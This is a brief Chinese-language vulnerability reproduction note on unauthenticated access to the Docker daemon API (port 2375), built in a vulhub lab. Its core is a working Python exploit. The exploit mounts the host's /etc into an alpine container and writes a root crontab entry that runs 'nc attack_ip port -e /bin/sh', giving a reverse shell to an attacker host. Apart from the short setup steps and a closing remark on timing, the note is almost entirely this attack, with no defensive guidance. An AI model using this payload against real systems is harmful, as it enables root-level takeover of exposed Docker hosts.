docker daemon api 未授权访问漏洞
0x01.环境搭建
利用vulhub搭建漏洞环境
service docker start
docker-compose up -d
查看监听端口
docker-compose ps
访问http://target_ip:2375/version
0x02.漏洞复现
利用方法是,我们随意启动一个容器,并将宿主机的/etc
目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell
import docker
client = docker.DockerClient(base_url=‘http://target_ip:2375/‘)
data = client.containers.run(‘alpine:latest‘, r‘‘‘sh -c "echo ‘* * * * * /usr/bin/nc attack_ip port -e /bin/sh‘ >> /tmp/etc/crontabs/root" ‘‘‘, remove=True, volumes={‘/etc‘: {‘bind‘: ‘/tmp/etc‘, ‘mode‘: ‘rw‘}})
0x03.一点问题
这个我复现的时候换了很多环境,最后是在装有docker的kali环境中成功复现,一般要等一段时间才会连上来